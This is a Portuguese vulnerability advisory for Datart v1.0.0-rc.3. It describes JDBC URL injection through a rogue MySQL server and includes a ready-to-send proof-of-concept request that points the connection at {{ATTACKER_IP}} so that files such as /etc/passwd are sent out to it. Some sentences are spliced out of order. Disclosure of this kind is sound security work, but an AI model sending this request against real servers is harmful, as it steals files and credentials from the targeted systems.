
Datart v1.0.0-rc.3 — Injeção de String de Conexão JDBC levando à Leitura Arbitrária de Arquivos
Uma vulnerabilidade de leitura arbitrária de arquivos foi descoberta no Datart v1.0.0-rc.3. O aplicativo falha ao validar adequadamente a URL de conexão JDBC durante a configuração da fonte de dados.
Tipo de Vulnerabilidade: Validação de Entrada Incorreta (CWE-20) / Leitura Arbitrária de Arquivos Versão Afetada: Datart v1.0.0-rc.3 Severidade: Alta (Potencial para divulgação de informações sensíveis)
A vulnerabilidade existe no módulo de configuração da fonte de dados. O aplicativo não sanitiza estritamente o parâmetro url na configuração JDBC. Um atacante remoto com privilégios para configurar fontes de dados pode injetar parâmetros maliciosos (especificamente allowLoadLocalInfile=true) na URL JDBC.
Ao apontar a conexão JDBC para um servidor MySQL malicioso controlado pelo atacante (Rogue MySQL Server), o atacante pode fazer com que o cliente envie arquivos locais do servidor Datart para o servidor do atacante.
A exploração bem-sucedida permite que um atacante autenticado leia arquivos arbitrários do sistema de arquivos do servidor (por exemplo, , arquivos de configuração, código-fonte), levando potencialmente ao comprometimento do servidor ou a novos ataques.
/etc/passwdLOAD DATA LOCAL INFILE (por exemplo, usando ferramentas como rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}